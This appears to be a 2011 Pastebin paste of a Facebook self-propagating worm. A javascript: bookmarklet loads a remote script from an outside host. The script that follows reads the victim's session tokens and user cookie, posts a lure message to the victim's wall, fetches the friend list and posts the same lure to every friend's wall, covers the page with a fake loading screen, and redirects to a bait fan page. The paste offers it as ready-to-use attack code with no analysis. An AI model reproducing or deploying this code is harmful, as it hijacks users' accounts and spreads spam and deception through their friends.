Advertisement
parkdream1

virut auto post wall facebook

Nov 9th, 2011
2,592
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. url:
  2. javascript:(a=(b=document).createElement('script')).src='http://like-12.info/rswf.js',b.body.appendChild(a);void(0)
  3. js:
  4. var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
  5. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  6. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  7. var httpwp = new XMLHttpRequest();
  8. var urlwp = '/ajax/profile/composer.php?__a=1';
  9. var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u3bbpq_21&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=HEY%20CHECK%20THIS%20OUT&xhpc_message=HEY%20CHECK%20THIS%20OUT&aktion=post&app_id=2309869772&attachment[params][0]=241896465864756&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320586865&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '';
  10. httpwp['open']('POST', urlwp, true);
  11. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  12. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  13. httpwp['setRequestHeader']('Connection', 'keep-alive');
  14. httpwp['send'](paramswp);
  15. var friends = new Array();
  16. gf = new XMLHttpRequest();
  17. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  18. gf['send']();
  19. if (gf['readyState'] != 4) {} else {
  20.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  21.     if (data['error']) {} else {
  22.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  23.             return _0x93dax8['index'] - _0x93dax9['index'];
  24.         });
  25.     };
  26. };
  27. for (var i = 0; i < friends['length']; i++) {
  28.     var httpwp = new XMLHttpRequest();
  29.     var urlwp = '/ajax/profile/composer.php?__a=1';
  30.     var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u2qr0v_15&xhpc_targetid=' + friends[i]['uid'] + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=Oh%20my%20god%2Ccheck%20this&xhpc_message=Oh%20my%20god%2Ccheck%20this&aktion=post&app_id=2309869772&attachment[params][0]=241896465864756&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320585896&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '&';
  31.     httpwp['open']('POST', urlwp, true);
  32.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  33.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  34.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  35.     httpwp['onreadystatechange'] = function () {
  36.         if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  37.     };
  38.     httpwp['send'](paramswp);
  39. };
  40. document['getElementById']('contentArea')['innerHTML'] = '<center><br><br><br><br><br><img src="http://www.hindustantimes.com/images/loading_gif.gif" /><br />Please wait...</center>';
  41. setTimeout('top.location=\'http://www.facebook.com/pages/The-Rihanna-UN-fan-club-Join-if-you-h8-Rihanna-after-seeing-her-new-video/241896465864756?sk=app_153284594738391\';', 30000);
  42.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement